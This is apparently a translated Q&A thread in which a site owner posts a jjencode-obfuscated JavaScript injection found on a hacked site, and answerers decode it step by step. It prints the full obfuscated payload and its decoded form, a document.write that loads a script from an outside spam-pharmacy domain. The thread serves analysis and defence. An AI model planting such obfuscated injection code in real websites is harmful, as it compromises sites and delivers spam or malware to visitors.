2013-12-12 3 views
2

Я узнал, что один из моих сайтов был взломан, и при расследовании я посмотрел файл javasript, который был загружен, и я не мог поверить, что он действительно служил цели из-за безумного обфускации.Очень интересная Javascript Obfuscation. Помогите ему разобраться

Я так заинтригован, что мне нужно знать, как, черт возьми, это даже работает. Если кто-то может предоставить любую информацию, которая очень ценится! Плюс это поможет мне узнать другие скрытые взломанные файлы на моем сервере!

Вот содержание:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+".\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"(\\\"<\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"=\\\\\\\"\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"://"+$.$$_$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+"-\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$$_+$.$$_+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.___+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"."+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$_$+"/\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.__$+$.$$_+$._$$+"/"+$.__+"\\"+$.__$+$.$$_+$._$_+$.$_$_+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+$.$$_$+$._$+(![]+"")[$._$_]+"/\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$$_+$.$_$$+$.$_$_+"\\"+$.__$+$.$$_+$._$_+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"\\\\\\\"></\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+">\\\");"+"\"")())(); 
+0

Это просто переменные с раздражающими именами, а также языковое поведение, подобное '! []'. Попробуйте запустить бит в консоли, и вы увидите – SLaks

+2

. Этот вопрос кажется не по теме, потому что это похоже на вопрос о кодовом гольф. «Помогите мне решить эту загадку, ребята!» – Ziggy

ответ

1

Я запустил его в консоли - это, кажется, заменить HTML веб-сайта с спам ссылки пытаются продать наркотики - «Виагры $ 108» и т.д.

enter image description here

+0

какая консоль вы запустили? Я вижу, что вы используете google chrome, но как запустить определенный javascript в консоли? сохранить его на странице и открыть его в хром ?? – user1914191

+0

Ctrl + Shift + J на ​​Windows или Cmd + Option + J на ​​Mac. Или вы можете щелкнуть правой кнопкой мыши и выбрать «Осмотреть элемент». Это открывает инструменты для разработчиков, которые включают в себя консоль JavaScript, позволяющую вводить код JavaScript по строке (или вы можете использовать Shift + Enter для ввода нескольких строк кода или вы можете вставлять блоки кода). Будьте осторожны, никогда не запускайте неизвестный код JavaScript во время входа в веб-сайт - лучше запустить его в приватном режиме с отключенными файлами cookie. – sbking

9

Во-первых, добавить некоторые пробелы:

$ = ~ []; 
$ = { 
    ___: ++$, 
    $$$$: (![] + "")[$], 
    __$: ++$, 
    $_$_: (![] + "")[$], 
    _$_: ++$, 
    $_$$: ({} + "")[$], 
    $$_$: ($[$] + "")[$], 
    _$$: ++$, 
    $$$_: (!"" + "")[$], 
    $__: ++$, 
    $_$: ++$, 
    $$__: ({} + "")[$], 
    $$_: ++$, 
    $$$: ++$, 
    $___: ++$, 
    $__$: ++$ 
}; 
$.$_ = ($.$_ = $ + "")[$.$_$] 
    + ($._$ = $.$_[$.__$]) 
    + ($.$$ = ($.$ + "")[$.__$]) 
    + ((!$) + "")[$._$$] 
    + ($.__ = $.$_[$.$$_]) 
    + ($.$ = (!"" + "")[$.__$]) 
    + ($._ = (!"" + "")[$._$_]) 
    + $.$_[$.$_$] 
    + $.__ 
    + $._$ 
    + $.$; 
$.$$ = $.$ 
    + (!"" + "")[$._$$] 
    + $.__ 
    + $._ 
    + $.$ 
    + $.$$; 
$.$ = ($.___)[$.$_][$.$_]; 
$.$($.$(
    $.$$ 
    + "\"" + $.$$_$ + $._$ + $.$$__ + $._ 
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ 
    + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ 
    + ".\\" + $.__$ + $.$$_ + $.$$$ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ + $.__ + $.$$$_ 
    + "(\\\"<\\" + $.__$ + $.$$_ + $._$$ + $.$$__ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ 
    + "\\" + $.__$ + $.$$_ + $.___ + $.__ 
    + "\\" + $.$__ + $.___ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "\\" + $.__$ + $.$$_ + $._$_ + $.$$__ 
    + "=\\\\\\\"\\" + $.__$ + $.$_$ + $.___ + $.__ + $.__ 
    + "\\" + $.__$ + $.$$_ + $.___ + "://" + $.$$_$ 
    + "\\" + $.__$ + $.$_$ + $.$$_ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "-\\" + $.__$ + $.$$_ + $._$$ + $.$$$_ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$$_ + $.$$_ + $.$$$_ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.___ + $._$ 
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "." + $.$$__ + $._$ 
    + "\\" + $.__$ + $.$_$ + $.$_$ 
    + "/\\" + $.__$ + $.$$_ + $._$$ + $.$$__ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ 
    + "\\" + $.__$ + $.$$_ + $.___ + $.__ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "/" + $.__ 
    + "\\" + $.__$ + $.$$_ + $._$_ + $.$_$_ 
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$_$_ + $.$$_$ + $._$ + (![] + "")[$._$_] 
    + "/\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $.$_$ + $.__$ + $.$$_$ + $.$$$_ + $.$_$$ + $.$_$_ 
    + "\\" + $.__$ + $.$$_ + $._$_ + ".\\" + $.__$ + $.$_$ + $._$_ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "\\\\\\\"></\\" 
    + $.__$ + $.$$_ + $._$$ + $.$$__ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ 
    + "\\" + $.__$ + $.$$_ + $.___ + $.__ 
    + ">\\\");" 
    + "\"" 
)())(); 

1. Все, кроме последнего оператора, создает объект $, значениями которого являются в основном числа и строки, такие как "f", и "return".

Особое значение, однако, составляет $.$, что составляет Function. Вызов Function(s) создает функцию, тело которой равно s.

Например, Function('return 1;')function() { return 1; }.

По существу, Function(s)() (или в этом случае, $.$(s)()) является эквивалентом eval(s).

2. Все конкатенации строк в этом последнем утверждении создают строку.

return"docu\155e\156t.\167\162\151te(\"<\163c\162\151\160t\40\163\162c=\\\"\150tt\160://d\156\163-\163e\162\166e\162\150o\155e.co\155/\163c\162\151\160t\163/t\162a\155adol/\163\151deba\162.\152\163\\\"></\163c\162\151\160t>\");\" 

3. , который при оценке с $.$ возвращается в виде строки

document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>"); 

4. Calling $.$ второй раз на этот результат завершает атаку.

Этот код явно предназначен для выглядят как безобидные, насколько это возможно, не используя eval, Function, function или любые HTML-сущности, как <.

Двойной вызов Function, что ИМО не является необходимым, но я полагаю, что это еще более запутывает код.

Теперь, что касается окончательного вопроса, вы намерены запускать сторонний Javascript? Если это так, единственная надежная инфраструктура, о которой я знаю, примерно такая: Google Caja.

EDIT: Это, как представляется, являются результатом jjencode для

document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>"); 

jjencode даже имеет возможность возвращать палиндромное запутывание.

+0

Отличная работа. Однако ему нужен первый оператор, так как второй использует его значение (например, '++ $') – SilverlightFox

+0

Спасибо @SilverlightFox. Обновлено. –

+1

отличная работа. есть ли какие-либо инструменты для подражания подобному обфускации? – user1914191

Смежные вопросы